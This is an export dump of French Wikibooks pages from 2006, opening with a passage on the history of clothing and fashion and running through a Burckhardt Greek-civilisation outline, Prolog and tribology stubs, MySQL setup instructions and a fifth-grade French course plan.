transformant la robe flottante en vêtement cintré. En ouvrant le pagne entre les jambes et en cousant le tissu autour de chaque cuisse, on le transforma en caleçon, ou en pantalon s’il descendait plus bas. Les Celtes européens (dont les Gaulois faisaient partie), les Mèdes et les Perses du Moyen-Orient adoptèrent très tôt le pantalon. Les Grecs et les Romains qui considéraient ces peuples comme barbares, méprisèrent longtemps cette tenue vestimentaire pourtant très pratique. Il est curieux de constater que le mépris persista longtemps à l’égard du pantalon. A la fin du XVIIIe siècle, les hommes riches portaient une culotte serrée sous les genoux et traitaient de “ sans-culottes ” les révolutionnaires, hommes du peuple porteurs de pantalons. Peut-être faut-il voir une survivance de ce mépris du pantalon quand on oblige les hommes à porter la robe dans les lieux où la dignité est obligatoire : le tribunal, le culte catholique et parfois l’université. Cela explique aussi le scandale provoqué autrefois par les femmes en pantalon. == '''Les transformations de la silhouette''' == Le choix entre le vêtement ample et le costume ajusté au corps sembla trop simple aux riches seigneurs, à partir de la fin du Moyen Age. Alors que le vêtement des pauvres évoluait peu au cours des siècles (comme le montrent les peintures de chaque époque), celui des nobles ne cessait de multiplier les innovations, souvent passagères, dont le principal but semble être de les singulariser en modifiant leur silhouette. Et cela pour les hommes aussi bien que pour les femmes. La coiffure change fréquemment de forme et de volume, non seulement par l’arrangement de la chevelure, mais par l’ajout de postiches ou de perruques. Les coiffes et les chapeaux ne cessent de se transformer. Le visage se modifie : pour les femmes par le maquillage ou les mouches (grains de beauté artificiels) ; pour les hommes par la taille de la barbe, de la moustache, des favoris (cheveux tombant devant les oreilles). Le cou est tantôt découvert, orné ou non de colliers, tantôt entouré de cols aux dimensions diverses, de fraises tuyautées, de jabots de dentelles ou de cravates. Les épaules paraissent tantôt arrondies, tantôt carrées ou même montantes. Les bras peuvent être dégagés ou gonflés de manches bouffantes ; les poignets garnis ou non de manchettes ou de rubans ; les mains gantées de diverses façons. La taille plus ou moins serrée ; pour les femmes, parfois enfermée dans un corset rigide, tantôt remontée jusqu'à la poitrine ou, au contraire, descendue très bas. Les hanches parfois rembourrées sur les côtés ou par derrière, élargies par une armature en cloche, plus tard moulées par le tissu. Les jambes cachées ou soulignées par un vêtement collant et des bas. Les pieds garnis de chaussures parfois prolongées en pointe (les poulaines) ou en patte d’ours, sans parler de la hauteur variable des talons. Comme toutes ces variation peuvent se mêler, on imagine l’extrême variété des modes vestimentaires. == '''Comment se diffusait la mode ?''' == Les modes nouvelles prenaient naissance chez les rois et les princes. Certains pays, comme la France, l’Italie ou l’Espagne, étaient pris en exemple par les autres cours royales ou princières. Des portraits montraient les personnages portant des vêtements à la mode. Des poupées mannequins informaient les princesses étrangères. Il ne s’agissait pas de jouets pour les petites filles, mais d’exemples en modèle réduit de ce qui se portait à la cour de France. Dès le XVIe siècle jusqu’au XIXe, ces poupées de luxe servaient d’ambassadrices de la mode. Puis ce furent des gravures de mode à partir du XVIIe siècle et surtout au XIXe où elles étaient en couleur. Enfin, les revues de mode, les catalogues qui se répandent de plus en plus. == '''Les artisans de la mode''' == En France, jusqu’au milieu du XVIIe siècle, seuls les hommes étaient admis à confectionner des vêtements. Par la suite, alors que les tailleurs conservaient la confection des costumes d’hommes, les couturières professionnelles étaient autorisées à coudre pour les femmes. S’y ajoutaient les lingères pour les vêtements fins, les brodeuses et les dentellières. Il existait également un grand nombre de marchands de mode qui fournissaient bonnets, fichus, manchons, garnitures diverses indispensables pour suivre la mode de l’époque. Ce sont des hommes qui, au XIXe siècle, fondèrent les premières grandes maisons de couture pour femmes. On y présentait des modèles nouveaux qui pouvaient être ensuite adaptés à la taille et au goût personnel de la riche clientèle. On appelait ces hommes : “ grands couturiers ” pour ne pas les confondre avec les “ petites couturières ”. Leur production était limitée à de rares exemplaires, car rien n’aurait été plus humiliant pour une coquette que de côtoyer, dans une soirée, une femme habillée comme elle. Au XXe siècle, des femmes créèrent aussi de grandes maisons de couture. La plus célèbre fut Coco Chanel. Les couturières, installées à leur compte, aidées parfois de quelques ouvrières, se contentaient d’adapter à leur manière ce qu’elles avaient observé dans les boutiques de “ haute couture ” ou sur les gravures de mode. Cette pratique se développa tellement que s’ouvrirent à Paris, à la fin du XIXe siècle, puis en province, de grands magasins qui proposaient aux clientes un grand choix de tissus très divers, à des prix plus bas que dans les boutiques. == '''Marquer la différence entre les riches et les autres''' == Désormais, davantage de gens pouvaient s’habiller avec élégance et la rivalité par le vêtement s’exprima autrement. La distinction se portait désormais sur le temps de loisir que ne pouvaient pas se permettre les gens simplement aisés (commerçants et fonctionnaires). C’est vers les vêtements prouvant le temps passé à se détendre que se tournèrent les plus riches. La redingote (à l’origine, manteau d’équitation), la tenue de chasse sportive, de golf et plus tard de marine de plaisance montraient que l’on n’avait pas besoin de travailler. Mais ces modes ne tardaient pas à être copiées par des gens moins riches qui n’étaient ni cavaliers, ni chasseurs, ni golfeurs, ni capitaines de yachts. Pour les femmes, le symbole fut le bronzage de la peau. A l’époque où les paysannes se trouvaient souvent exposées en plein air, la distinction des femmes riches était de garder la peau blanche en se protégeant du soleil par une ombrelle, une voilette, une écharpe, des gants. Mais, à partir du moment où les ouvrières d’usines restaient pâles, le chic se porta sur le bronzage prouvant que l’on pouvait passer du temps à se faire dorer au soleil. Même si c’est au détriment de la santé de la peau, les femmes élégantes veulent être bronzées, même s’il faut pour cela utiliser des lampes spéciales pour bronzer artificiellement. == '''La confection en série''' == Au milieu du XIXe siècle, l’invention de la machine à coudre permit la fabrication en série des vêtements dans des ateliers. Les riches méprisaient cet habillement de “ confection ” qui permit néanmoins aux gens du peuple de s’habiller mieux à des prix raisonnables. Le mépris des vêtements de séries disparut quand les grandes maisons de couture présentèrent des collections de “ prêt à porter ” à des prix élevés. Comme il n’était plus honteux de s’habiller en série, on était fier d’afficher la marque qui était le signe qu’on suivait la mode. Chaque client transportait désormais sur lui la publicité pour les fabricants de ses vêtements et de ses chaussures. C’est devenu pour certains l’obsession des marques. Il ne suffit pas de posséder un beau blouson, il faudrait qu’il porte visiblement la même marque que celui des copains. Ce qui aboutirait à un esclavage vis-à-vis des intérêts commerciaux. == '''L’uniformisation ou le mélange des influences ?''' == L’habillement en série pourrait devenir monotone. Voir le nombre incalculable de jeans portés dans le monde. Mais, curieusement, beaucoup veulent se différencier en portant des pantalons diversement délavés et parfois même volontairement déchirés. D’autre part, la vie moderne a multiplié les contacts avec d’autres cultures, d’autres traditions vestimentaires qui s’influencent mutuellement. Le temps n’est plus où la mode pouvait imposer une façon unique de se coiffer, une longueur de jupe ou de robe, une largeur d’épaules, une unité de couleur dominante, pour les hommes un type de barbe ou de moustache. Chacun peut puiser à volonté dans les autres pays et les autres cultures et, en se délivrant des fausses obligations de la mode et des marques, il lui appartient de retrouver la totale liberté de son habillement et de son allure. == '''Pour en savoir plus sur le même thème''' == On peut consulter : '''Vêtements''' (pourquoi s'habille-t-on?) ; '''Textiles''' ; '''Fils et tissus''' ; '''Mode sous Louis XIV''' Histoire de la civilisation grecque 7729 37641 2006-03-14T21:17:52Z Sextus 1257 /* Tome I */ <div style="position: absolute; top: 20px; right: 0px;">''« Nous voyons avec les yeux des Grecs''</br> ''et parlons avec leurs expressions. »''<ref>''Histoire de la civilisation grecque'', Introduction, p. 25.</ref></div> L'''Histoire de la civilisation grecque'' (''Griechische Kulturgeschichte'')<ref>Cet article utilise l'édition de l'Aire, Vevey (Suisse), traduction Frédéric Mugler, 2002, ISBN 2-88108-597 (tome 3), ISBN 2-88108-598 (tome 4).</ref> est un cours de l'historien [[w:Jacob Burckhardt|Jacob Burckhardt]]. Il fut publié en quatre tomes après sa mort par son neveu, Jacob Oeri, de 1898 à 1902. [[Image:MaskAgamemnon.png|right|300px|Masque d'[[Agamemnon]]]] {| align="left" width="350px" cellpadding="8" style="border: 1px solid #999; margin-right: 1em;" | <center>'''Sommaire du cours'''</center> ---- * [[#Considérations générales sur l'étude de la civilisation des Grecs|Introduction]] *'''Sections''' : ** [[Histoire de la civilisation grecque - Les Grecs et leurs mythes|I. Les Grecs et leurs mythes]] ** [[Histoire de la civilisation grecque - État et nation|II. Etat et nation]] ** [[Histoire de la civilisation grecque - Religion et culte|III. Religion et culte]] ** [[Histoire de la civilisation grecque - La Divination|IV. La Divination]] ** [[Histoire de la civilisation grecque - Bilan d'ensemble de la vie grecque|V. Bilan d'ensemble de la vie grecque]] ** [[Histoire de la civilisation grecque - Les arts plastiques|VI. Les arts plastiques]] ** [[Histoire de la civilisation grecque - Poésie et musique|VII. Poésie et musique]] ** [[Histoire de la civilisation grecque - La philosophie, la science et l'éloquence|VIII. La philosophie, la science et l'éloquence]] ** [[Histoire de la civilisation grecque - L'homme hellénistique|L'homme hellénistique]] ** [[Histoire de la civilisation grecque - L'homme héroïque|L'homme héroïque]] ** [[Histoire de la civilisation grecque - L'homme colonial|L'homme colonial]] * [[#Notes et références|Notes et références]] * [[#Bibliographie|Bibliographie]] |} __NOTOC__ <br style="clear:both;" /> == Considérations générales sur l'étude de la civilisation des Grecs == L'introduction de ces cours permet de saisir de quelle manière Burckhardt conçoit l'enseignement de l'histoire, son contenu et sa finalité<ref>Voir la section consacrée aux ''[[w:Jacob Burckhardt#Considérations sur l'histoire universelle (1905, publication posthume)|Considérations sur l'histoire universelle]]'', dans l'article sur [[w:Jacob Burckhardt|Jacob Burckhardt]], pour un développement plus détaillé de ces thèses.</ref>. Tout d'abord, Burckhardt écarte l'idée de faire un cours traitant des antiquités ou de l'histoire événementielle de la Grèce, et énonce comment il entend placer son travail relativement à un traitement scolaire certes indispensable, mais dont le prix est la spécialisation, c'est-à-dire la déshabituation de l'esprit aux vues synthétiques : :« De tous ces matériaux nous n'avons besoin que de ce qui sert à confirmer de façon toute particulière l'idée que les Grecs se faisaient de l'existence. »<ref>''Histoire de la civilisation grecque'', tome I, p. 10.</ref> C'est pour lui une perte de temps de discuter à l'infini sur l'exactitude d'un fait. En définissant l'histoire de la civilisation comme une recherche « des manières de voir et de penser du peuple grec » qui consiste à « chercher à discerner les forces vives, constructrices et destructrices, qui s'exercent dans la vie des Grecs »<ref>''Ibid.'', p. 11</ref>, il propose de distinguer, non les faits isolés et objectifs, mais les traits caractéristiques d'un peuple, y compris ses manières de falsifier l'histoire : si nous ne pouvons avoir aucune certitude sur tous les faits historiques, nous pouvons en tout cas interpréter le mensonge comme quelque chose qui révèle une sensibilité et des valeurs. Le résultat de cette méthode est de permettre de se représenter ce qu'il y a de typique, de durable et d'universel dans l'existence grecque, par opposition au momentané et à l'anecdotique. Cette approche a pour corrolaire la mise en avant de la psychologie du chercheur, qui n'est pas passif face à l'histoire, mais s'engage personnellement dans un dialogue au cours duquel il sera instruit. Dans un premier temps, Burckhardt oppose le goût moderne de la lecture des journaux à la capacité subtile d'écoute dont doit faire preuve l'étudiant. Il développe alors la question des qualités indispensables, qui sont le résultats d'un travail patient et d'une subjectivité qui s'enrichit aux contacts des oeuvres du passé : :« Aucun ouvrage de référence au monde, avec ses citations, ne peut remplacer le lien organique qu'une affirmation trouvée par nous-même établit avec notre intuition et notre attention, si bien qu'il se forme une véritable richesse pour notre esprit. »<ref>''Ibid.'', p. 21.</ref> La lecture et la relecture répétée des Anciens sont nécessaires ; c'est par ce travail que nous pouvons parvenir à une représentation durable qui ne soit pas le fait d'une humeur instantanée ou de l'inexpérience de l'âge ; ainsi la relecture est-elle le moyen de revenir sans cesse sur l'expérience que nous pouvons faire du passé, de nous l'assimiler et de le redécouvrir sans cesse. Il aborde ensuite la question du rapport de l'époque actuelle avec les Grecs : en Allemagne, avec Winckelmann, Lessing et Voss, s'est développé un sentiment de proximité, qui a fortement influencé Goethe et Schiller. Ceci a permis un renouvellement des études philologiques, d'une manière plus profonde, selon lui, que cela n'a été le cas depuis la Renaissance. Cependant, les études philologiques souffrent maintenant de plusieurs difficultés : tout d'abord, le développement de l'archéologie et de l'ethnographie a progressivement mis la Grèce à l'écart ; ensuite, la spécialisation s'est à ce point accrue, que les branches les plus spécialisées de l'histoire demanderaient aujourd'hui plusieurs vies de chercheurs pour être maîtrisées. Dans le domaine même des études universitaires, les connaissances finissent par être oubliées, c'est-à-dire que l'on ne pense plus à les assimiler, ou on ne le veut plus. Le résultat est que les vrais philologues se font extrêmement rares<ref>Voir, sur ce point, l'''Introduction à la philologie'' et ''Homère et la philologie classique'' de Nietzsche.</ref>. Que résultera-t-il de ces recherches ? Que nous ne pourrons plus trouver dans la vie une grecque une transfiguration optimiste : :« Les Grecs étaient plus malheureux que la plupart ne le croient. »<ref>''Ibid.'', p. 24, Burckhardt cite ici Böckh.</ref> ; que nous saisirons comment les Grecs furent un peuple libre et génial, avec toutes ses erreurs et ses souffrances ; que leur savoir universel a éclairé leur propre existence et celles des anciens peuples, et les a léguées à la postérité. Parce que nous sommes des êtres conscients, notre culture doit se donner pour finalité de compléter en nous le plus parfaitement possible l'image de l'évolution du monde. C'est pourquoi : :« nous resterons toujours les admirateurs des Grecs pour ce qui est de leurs actions et de leurs capacités, et leurs débiteurs pour ce qui est de leur connaissance du monde.<ref>''Ibid.'', p. 25.</ref> » === Tome I === Les deux premiers tomes traitent des deux facteurs stabilisateurs des sociétés humaines : l'Etat et la religion ; le troisième traite de l'élément instable qui désagrège les deux premiers : la culture. → [[Histoire de la civilisation grecque - Les Grecs et leurs mythes|I. Les Grecs et leurs mythes]] → [[Histoire de la civilisation grecque - État et nation|II. État et nation]] *I. La cité *II. La cité dans son développement historique *III. Examen objectif des régimes politiques *IV. L'unité de la nation grecque ===Tome II=== → [[Histoire de la civilisation grecque - Religion et culte|III. Religion et culte]] Cette troisième section est divisée en trois chapitres : le premier traite des métamorphoses ; le deuxième des Grecs dans leurs rapports aux dieux ; enfin, le troisième analyse le culte]] grec des héros. → [[Histoire de la civilisation grecque - La Divination|IV. La Divination]] → [[Histoire de la civilisation grecque - Bilan d'ensemble de la vie grecque|V. Bilan d'ensemble de la vie grecque]] ===Tome III === → [[Histoire de la civilisation grecque - Les arts plastiques|VI. Les arts plastiques]] Cette sixième section est divisée en trois chapitres : le premier traite de l'éveil de l'art ; le deuxième aborde la sculpture, la peinture et l'architecture ; le dernier aborde le problème des relations des philosophes et des hommes politiques à l'art. → [[Histoire de la civilisation grecque - Poésie et musique|VII. Poésie et musique]] Cette partie est divisée en quatre chapitres : le premier traite des origines de la poésie et de la musique ; le deuxième de la poésie hexamétrique (épopée, Homère, poésie narrative alexandrine, poésie bucolique, poésie didactique) ; le troisième de la musique ; le quatrième de la poésie non hexamétrique (élégie, épigramme, iambe, poésie lyrique, tragédie, comédie). → [[Histoire de la civilisation grecque - La philosophie, la science et l'éloquence|VIII. La philosophie, la science et l'éloquence]] Cette partie est divisée en six chapitres : le premier examine les stimulants et les entraves de ces disciplines ; le deuxième le question de la rupture avec le mythe ; le troisième l'éloquence ; la quatrième l'individualisme ; le cinquième la recherche scientifique ; le sixième l'histoire et l'ethnologie. ==Tome IV == ===L'homme hellénistique=== ===L'homme héroïque=== ===L'homme colonial=== === Notes et références === <references/> === Bibliographie === *''Werke, Kritische Gesamtausgabe : Griechische Culturgeschichte'', tomes 19 à 22, éditeur : Walter De Gruyter Inc, novembre 2002 * Editions de l'Aire, Vevey (Suisse), traduction Frédéric Mugler, 2002, ISBN 2-88108-597 (tome 3), ISBN 2-88108-598 (tome 4)</ref> Histoire de la civilisation grecque - État et nation 7730 37633 2006-03-14T21:00:27Z Sextus 1257 {| align="right" width="350px" cellpadding="8" style="border: 1px solid #999; margin-right: 1em;" | <center>'''Sommaire des cours'''</center> ---- * [[Histoire de la civilisation grecque|Introduction]] *'''Sections''' : ** [[#Les Grecs et leurs mythes|I. Les Grecs et leurs mythes]] ** [[Histoire de la civilisation grecque - État et nation|II. Etat et nation]] ** [[#Religion et culte|III. Religion et culte]] ** [[#La Divination|IV. La Divination]] ** [[#Bilan d'ensemble de la vie grecque|V. Bilan d'ensemble de la vie grecque]] ** [[#Les arts plastiques|VI. Les arts plastiques]] ** [[#Poésie et musique|VII. Poésie et musique]] ** [[#La philosophie, la science et l'éloquence|VIII. La philosophie, la science et l'éloquence]] ** [[#L'homme hellénistique|L'homme hellénistique]] ** [[#L'homme héroïque|L'homme héroïque]] ** [[#L'homme colonial|L'homme colonial]] * [[#Notes et références|Notes et références]] * [[#Sommaire|Sommaire de cette page]] |} __NOTOC__ [[Image:Hoplite s.jpg|left]] <br style="clear:both;" /> Cette deuxième section est divisée en quatre chapitres : dans le premier, Burckhardt examine la cité en général et ses origines ; dans le deuxième, le développement historique de la cité et l'esclavage ; dans le troisième, il revient sur l'examen des régimes politiques ; enfin, dans le quatrième partie, il examine la question de l'unité des Grecs. ==== I. La cité ==== Ce premier chapitre de la deuxième section est composé d'un ensemble de thèmes qui, d'une part, se succèdent logiquement plutôt que chronologiquement, et qui, d'autre part, font alterner les points de vue. On peut tout d'abord regrouper en un ensemble, dans cette recherche, les quatres premiers thèmes du chapitre qui, en examinant les origines et les antécedants de la cité, présentent plusieurs points de vue : le point de vue idéalement objectif de l'historien qui s'interroge sur ce qui s'est réellement passé (par exemple, en se demandant ce qui a déterminé la fondation de la cité, ou en comparant la cité avec des formes antérieures, postérieures ou extérieures à la civilisation grecque - en Phénicie, au Moyen-Âge, à la Renaissance) ; le point de vue des Grecs, que l'on peut chercher à discerner principalement dans leurs mythes (généalogies, mythes fondateurs). Les trois thèmes suivants sont l'analyse de la cité proprement dite, du citoyen et, enfin, des limites internes et historiques rencontré par l'idéal de la cité. =====Les tribus et les villages===== Le chapitre commence donc par quelques remarques sur ce que nous savons des origines de la cité grecque ; Burckhardt ne se propose pas de traiter à fond le sujet, mais d'examiner si nous pouvons distinguer, antérieurement à la formation de toute cité, des traits particuliers susceptibles de nous éclairer. =====Les antécédents, et, en particulier, les phéniciens===== =====Le synœcisme et les violences qu'il suppose===== Le synœcisme est une réunion de plusieurs villages en une seule ville. Cette pratique consistait concrêtement à déporter des populations (dont une partie était généralement massacrée) pour fonder des villes fortifiées. =====Les mythes fondateurs et leurs traits typiques===== Burckhardt cite plusieurs mythes liés à la fondation des cités ; il en extrait les traits communs : presque tous ces mythes racontent l'acte violent fondateur d'une cité, comme les sacrifices de jeunes filles. Ainsi, pour Burckhardt, l'idée qui est ici exprimée sous forme mythologiques est-elle que ce qui veut durer et étendre sa puissance doit consentir à sacrifier aux forces obscures. =====Les caractéristiques générales de la cité===== *Les éléments matériels *Les lois =====Les caractéristiques générales du citoyen grec===== =====Les limites du modèle politique de la cité===== Les limites de la cité sont d'abord déterminées, selon Burckhardt, par les limites de la nature humaine : le poids des lois est en effet un poids quasi religieux qui pèse lourdement sur le citoyen, et qui finit par l'écraser. En outre, l'idéal autarcique de la cité a comme conséquence d'intensifier les rivalités, ce qui conduit inévitablement aux expédients les plus définitifs : l'histoire des cités grecques devient l'histoire d'une course en avant effroyable qui se termine par la ruine de la cité. ==== II. La cité dans son développement historique ==== Ce deuxième chapitre de la deuxième section est divisé en neuf parties. ===== 1. La royauté ===== ===== 2. Sparte ===== ===== 3. Populations assujetties d'autres cités ===== ===== 4. L'esclavage ===== ===== 5. L'aristocratie grecque ===== ===== 6. La tyrannie ===== ===== 7. La démocratie et son organisation à Athènes ===== ===== 8. La démocratie en dehors d'Athènes ===== ===== 9. Ténacité des populations urbaines ===== ==== III. Examen objectif des régimes politiques ==== ==== IV. L'unité de la nation grecque ==== ==== Notes et références ==== <references/> ==== Sommaire ==== __TOC__ Image:Jointure.gif 7731 37617 2006-03-14T18:34:28Z Daxuza 1230 Illustration de la jointure en sql dans Programmation_SQL_Langage_de_manipulation_de_données#Jointure_interne Illustration de la jointure en sql dans Programmation_SQL_Langage_de_manipulation_de_données#Jointure_interne Programmation Prolog 7734 37742 2006-03-15T17:50:10Z Lerten 1259 '''PROLOG''' Prolog est la contraction de la phrase "programmer en logique". C'est un langage de programmation intuitif qui a été créé en 1972 par Alain Colmerauer et P. Roussel à l’Université de Marseille (France).Le langage à connu de multiples évolution depuis sa création où son utilisation était laborieuse, les machines de l'époque, peu performantes ne permettant pas un dévelopement trop complexe. Prolog fonctionne à partir d'une base de connaissances qui peut être étoffée dans un ordre indeterminé. Il analyse un problème logique depuis cette base et en fonction des instructions qui lui sont données. Tribologie - Guidage par sustentation magnétique 7736 37651 2006-03-15T01:37:13Z Jean-Jacques MILAN 114 {{Tribologie}} <br/><br/> {{ébauche}} == Systèmes d'assistance cardiaque == Le dispositif d'asistance ventriculaire (DAV) rotatif de la société WorldHeart est une pompe rotative centrifuge implantable dont la seule pièce mobile est un rotor. Celui-ci est suspendu par lévitation magnétique et donc guidé dans le boîtier de l'appareil sans palier lisse ni roulement. Modèle:Tribologie1 7737 38018 2006-03-16T21:08:09Z Jean-Jacques MILAN 114 {| style="border:2px solid darkgray" cellpadding="3" cellspacing="3" align="center" |- bgcolor="#EEFBFF" | * Les chapitres de ce Wikilivre sont suivis régulièrement. N'hésitez pas à utiliser les pages de discussion pour inscrire vos remarques (positives ou négatives) et poser vos questions. * pour la [[google:site:fr.wikibooks.org|recherche Google]] : tapez votre texte après l'invite, par ex. « site:fr.wikibooks.org ''diaphragme'' ». |- | bgcolor="#BBCCFF" |<center><big>'''liens pour la navigation rapide :'''.</big></center> |- align=center | bgcolor="#EEEEEE" | [[Tribologie - Généralités|généralités]] • [[Tribologie - Actualités|actualités]]<br/> [[Tribologie - Manifestations du frottement|manifestations]] • [[Tribologie - Diverses approches|approches]] • [[Tribologie - Modélisation des actions de contact|modélisation]] • [[Tribologie - Genèse des frottements|genèse]] • [[Tribologie - Nature et comportement des surfaces frottantes|surfaces]] • [[Tribologie - Usure des surfaces|usure]] <small>[[Tribologie - Endommagement des engrenages|engrenages]] - [[Tribologie - Endommagement des roulements|roulements]]</small> <br/> [[Tribologie - Matériaux utilisables pour le frottement|matériaux]] • [[Tribologie - Traitements anti-usure|traitements]] • [[Tribologie - Revêtements anti-usure|revêtements]] • [[Tribologie - Lubrifiants|lubrifiants]] <small>[[Tribologie - Lubrifiants liquides|liquides]]</small> <small>[[Tribologie - Lubrifiants pâteux|pâteux]]</small> <small>[[Tribologie - Lubrifiants solides et vernis|solides]]</small> • [[Tribologie - Techniques de lubrification|lubrification]] <br/> [[Tribologie - Applications pratiques|applications]] • [[Tribologie - Contacts localisés|contacts]] • [[Tribologie - Guidage par glissement de surfaces|guidage lisse]] • [[Tribologie - Guidage par roulement|roulement]] • [[Tribologie - Guidage par sustentation magnétique|magnétique]] • [[Tribologie - Facteurs de frottement|facteurs]] • [[Tribologie - Bibliographie|bibliographie]] • modèles <small>[[Modèle:Tribologie|0]] [[Modèle:Tribologie1|1]]</small><br/> |- |} [[Catégorie:Tribologie]] Image:INNER JOIN.gif 7738 37671 2006-03-15T10:34:20Z Daxuza 1230 Illustration de la jointure interne dans l'article Programmation_SQL_Langage_de_manipulation_de_données Illustration de la jointure interne dans l'article Programmation_SQL_Langage_de_manipulation_de_données Image:LEFT OUTER JOIN.gif 7739 37673 2006-03-15T10:41:59Z Daxuza 1230 Illustration de la jointure LEFT_OUTER_JOIN dans l'article Programmation_SQL_Langage_de_manipulation_de_données Illustration de la jointure LEFT_OUTER_JOIN dans l'article Programmation_SQL_Langage_de_manipulation_de_données Image:RIGHT OUTER JOIN.gif 7740 37674 2006-03-15T10:42:24Z Daxuza 1230 Illustration de la jointure RIGHT_OUTER_JOIN dans l'article Programmation_SQL_Langage_de_manipulation_de_données Illustration de la jointure RIGHT_OUTER_JOIN dans l'article Programmation_SQL_Langage_de_manipulation_de_données Image:FULL OUTER JOIN.gif 7741 37675 2006-03-15T10:42:50Z Daxuza 1230 Illustration de la jointure FULL_OUTER_JOIN dans l'article Programmation_SQL_Langage_de_manipulation_de_données Illustration de la jointure FULL_OUTER_JOIN dans l'article Programmation_SQL_Langage_de_manipulation_de_données Image:Dev-cpp1.jpg 7742 37679 2006-03-15T10:55:08Z Merrheim 1032 Image:Dev-cpp2.jpg 7743 37680 2006-03-15T10:55:18Z Merrheim 1032 Image:Dev-cpp3.jpg 7744 37681 2006-03-15T10:55:29Z Merrheim 1032 Image:Dev-cpp4.jpg 7745 37682 2006-03-15T10:55:40Z Merrheim 1032 Image:Dev-cpp5.jpg 7746 37683 2006-03-15T10:55:49Z Merrheim 1032 Image:Dev-cpp6.jpg 7747 37684 2006-03-15T10:55:56Z Merrheim 1032 Image:Dev-cpp7.jpg 7748 37685 2006-03-15T10:56:06Z Merrheim 1032 Image:Dev-cpp8.jpg 7749 37686 2006-03-15T10:56:15Z Merrheim 1032 Image:Dev-cpp9.jpg 7750 37687 2006-03-15T10:56:23Z Merrheim 1032 Image:Dev-cpp10.jpg 7751 37688 2006-03-15T10:56:33Z Merrheim 1032 Image:Dev-cpp11.jpg 7752 37689 2006-03-15T10:56:43Z Merrheim 1032 Image:Dev-cpp12.jpg 7753 37690 2006-03-15T10:56:52Z Merrheim 1032 Image:Dev-cpp13.jpg 7754 37691 2006-03-15T10:57:00Z Merrheim 1032 Instruction pour bien suivre le cours SQL 7757 38031 2006-03-17T04:47:53Z Daxuza 1230 /* Introduction */ Instruction d'installation du SGBD MySql pour les cours bdd == Introduction == Afin de suivre correctement le cours sql, nous vous conseillons d’avoir un Système de Gestion de Base de Donnée (SGBD) d’installé sur votre ordinateur. Cette instruction a pour but d’installer et de configurer MySql qui est un gratuit pour les logiciels Open Source. Vous pouvez l’utiliser librement pour vos testes. Logiciel à télécharger : <table border="1" cellspacing="0" cellpadding="4" align="center"> <tr> <td><b>Logiciel</b></td> <td><b>Description</b></td> <td><b>Adresse</b></td> </tr> <tr> <td>[[Instruction_pour_bien_suivre_le_cours_SQL#MySql|MySql]]</td> <td>Le Système de Gestion de Base de Donnée</td> <td>http://dev.mysql.com/downloads/</td> </tr> <tr> <td>[[Instruction_pour_bien_suivre_le_cours_SQL#SQLyog|SQLyog Free Edition 5.02]]</td> <td>Gestion de la base MySql</td> <td>http://www.webyog.com/</td> </tr> <tr> <td>[[Instruction_pour_bien_suivre_le_cours_SQL#DBDesigner4|DBDesigner4]]</td> <td>Modélisation de base de donnée MySql</td> <td> http://www.fabforce.net/dbdesigner4/</td> <tr> </table> (Version Linux) == MySql == Dans cet exemple nous avons téléchargé <tt>mysql-essential-5.0.19-win32.msi</tt>, vous pouvez installer la version de votre choix. ''Installation Windows'' [[Image:MysqlInstallation_1.gif]]<br/> [[Image:MysqlInstallation_2.gif]]<br/> [[Image:MysqlInstallation_3.gif]]<br/> ''Configuration'' [[Image:MysqlConfiguration_1.gif]]<br/> [[Image:MysqlConfiguration_2.gif]] Enregistrement comme service<br/> [[Image:MysqlConfiguration_3.gif]] Création du compte administrateur(root)<br/> [[Image:MysqlConfiguration_4.gif]]<br/> Pour arrêter, démarrer, démarrer automatiquement le serveur mysql vous devez aller dans la gestion des services (Démarrer/Exécuter/services.msc). == SQLyog == Dans cet exemple nous avons téléchargé <tt>SQLyog502.exe</tt>, vous pouvez installer la version de votre choix. ''Installation Windows'' Exécuter SQLyog502.exe. ''Configuration'' [[Image:SylYogConfiguration.GIF]]<br/> Créer une nouvelle connection (new)<br/> Lui donner un nom (Save connection)<br/> Mettre le mot de passe (celui de l’utilisateur root)<br/> Enregistrer (Save)<br/> Se connecter (Connect)<br/> Vous pouvez aprèsent : * Créer une base * Créer des tables * Gérer les utilisateurs * Exécuter des requêtes * et beaucoup d'autre choses [[Image:SQLyog.GIF]] == DBDesigner4 == Installation Test Configuration Recommandation Français en classe de cinquième 7758 38442 2006-03-20T13:49:28Z Guillaumito 46 rectification liens {{enTravaux}} Ce livre a pour but d'être un livre de classe correspondant au programme français des cours de français pour les cinquième (enfant de 12-13 ans). # [[Français en classe de cinquième/Lire un énoncé|Lire un énoncé]] - #* ''savoir lire un énoncé'' # [[Français en classe de cinquième/L'article de dictionnaire|L'article de dictionnaire]] - #* ''savoir repérer les imformation dans un article de dictionnaire'' # [[Français en classe de cinquième/Savoir définir un mot|Savoir définir un mot]] - #* ''savoir définir un verbe, un nom, un adjectif, un averbe de maniere'' # [[Français en classe de cinquième/Le champ lexical|Le champ lexical]] - #* ''savoir établir les theme d'un texte'' # [[Français en classe de cinquième/Famille étymologique|Famille étymologique]] - #* ''savoir constituer une famille de mots'' # [[Français en classe de cinquième/Classes de mots|Classes de mots]] - #* ''connaitre la fonction des mots'' # [[Français en classe de cinquième/Les types de phrase|Les types de phrase]] - #* ''savoir reconnaitre les types de phrases'' #* ''savoir conjuguer le mode impératif'' # [[Français en classe de cinquième/La phrase simple|La phrase simple]] #* ''savoir delimiter les propositions'' #* ''ne pas confondre CC et attribut du sujet'' # [[Français en classe de cinquième/Fonctions dans la phrase|Fonctions dans la phrase]] #* ''savoir délimiter les propostions'' #* ''ne pas confondre CC et attribut du sujet'' # La phrase complexe # Le groupe nominal # L'accord de l'adjectif # Le présent de l'indicatif # Passe simple et imparfait # Temps composés de l'indicatif # L'accord du participe passé # Futur et conditionnel # Les types de texte # Lire un sujet # L'énonciation # Les étapes du récit # Les temps dans un récit au passé # Suite de texte # Le dialoque # Les verbes introducteurs # Les niveaux de langue # La déscription # Remplacer il y a # Le point de vue desciptif # La déscription objective - subjective # La poésie # Métaphore et comparaison Français en classe de cinquième/Lire un énoncé 7761 37766 2006-03-15T18:31:29Z Guillaumito 46 [[Les consignes d'un énoncé]] déplacé vers [[Français en classe de cinquième/Lire un énoncé]]: cette page fait partie du livre sur le français en cinquième == Méthode == Dans toutes les matières, pour réussir un exercice, la première condition est de savoir lire un énoncé. Pour '''comprendre les consignes''', il faut : # obligatoirement lire plusieurs fois l'énoncé '''jusqu'au bout''' ; # repérer les termes a valeur impérative : #* impératif: '''Faites''' un resumé dans ce texte, #* infinitif: '''Faire''' un resumé de ce texte, #* futur: '''Vous ferez''' un resumé de ce texte ; # délimiter les différentes phases ou temps d'un exercice 